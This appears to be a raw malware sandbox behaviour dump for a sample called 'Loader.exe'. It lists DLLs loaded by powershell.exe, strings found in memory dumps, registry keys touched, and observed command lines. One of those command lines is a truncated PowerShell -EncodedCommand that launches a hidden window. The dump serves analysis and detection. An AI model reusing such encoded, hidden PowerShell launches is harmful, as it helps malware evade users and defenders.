7ffae9270000 "powershell.exe" loaded module "USER32.DLL" at base 7ffb2a430000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb0d840000 "powershell.exe" loaded module "NTDLL" at base 7ffb2c510000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb2b1e0000 "powershell.exe" loaded module "PSAPI.DLL" at base 26b3bef0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffb2a310000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffae7cb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffb2c160000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb2b1e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffb2b100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffae7090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffae6600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffaf2b60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb288f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb29930000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffae4580000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffb2b1e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb2b1e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffb2c510000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffb2a780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffb2a2a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb29c60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ffb29120000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb1bbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb1fe20000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffb1bb60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffb0dfb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffb0c640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffb035c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffb18c60000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffb29c60000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\C1NA1LL8.DLL" at base 7ffaf5210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffaf0a20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffaf2ac0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffae1ec0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffaefe50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffaefce0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffb29210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffae1530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffaf0200000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffaf2c10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffaf2250000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffaefc00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffaf6150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffb1e4e0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffb28bd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb26f00000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffaefad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb2bc10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb2c300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb2b1e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffaf0b60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb0b230000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffb245f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffb14cd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffb1a3d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ffb191d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffb27930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ffb277f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffb0ff60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffb220a0000 "powershell.exe" loaded module "KERNELBASE" at base 7ffb29dd0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffb2b100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\199F66BC1A6FE937DEB9E320CBCAACD7\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffaef890000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffb2c3b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffb15eb0000 "powershell.exe" loaded module "MI.DLL" at base 7ffb1d9e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffb1d7b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffb1cdf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffb1c430000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffb1bc30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffb2bc10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffb29dd0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffb2bbe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffae2770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffae0e10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffb2a5f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb28df0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffb04850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffb242d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb0aa30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffb284a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb20450000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb21ce0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffb287f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffb26d30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffaf6e00000 "powershell.exe" loaded module "PSAPI.DLL" at base 20d8ee30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ffaf0da0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffae3490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffb2bd80000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ffb2bea0000 "powershell.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffb2a430000 "powershell.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffb2a430000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffb2c300000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffb2c1600003c:Tdde,file/memory contains long string with (Indicator: "Join-Path"; File: "00000000-00008316") file/memory contains long string with (Indicator: "New-Object"; File: "00000000-00008316") file/memory contains long string with (Indicator: "Join-Path"; File: "AMSI") file/memory contains long string with (Indicator: "New-Object"; File: "AMSI") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Start-Transcript" (Indicator: "Start-Transcript"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-Object" (Indicator: "New-Object"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Debug" (Indicator: "Write-Debug"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Verbose" (Indicator: "Write-Verbose"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Warning" (Indicator: "Write-Warning"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Information" (Indicator: "Write-Information"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Error" (Indicator: "Write-Error"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Host" (Indicator: "Write-Host"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Measure-Command" (Indicator: "Measure-Command"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Unblock-File" (Indicator: "Unblock-File"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Debug-Runspace" (Indicator: "Debug-Runspace"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Write-Progress" (Indicator: "Write-Progress"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Select-Xml" (Indicator: "Select-XML"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")3d:T923,"Loader.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")3e:T487,"Loader.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"3f:T55c,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00006460-00000BC0-1746597147] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006460-00000BC0-1746692100] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006460-00000BC0-1746694567] Observed system executable string:"%WINDIR%\system32\powershell.exe.*" [Source: 00000000-00006460-00000C2C-26551424692] Observed system executable string:"%WINDIR%\powershell.exe.*" [Source: 00000000-00006460-00000C2C-26551752812] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.*" [Source: 00000000-00006460-00000C2C-26552118604] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe.*" [Source: 00000000-00006460-00000C2C-26552513024] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AG" [Source: 00000000-00006460-00000C45-26961481612] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.Me" [Source: 00000000-00008316-00000C45-20037864838]40:T620,"Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "Loader.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KO-KR") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KO-KR") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HK") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HK") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "JA-JP") "Loader.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "JA-JP") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; 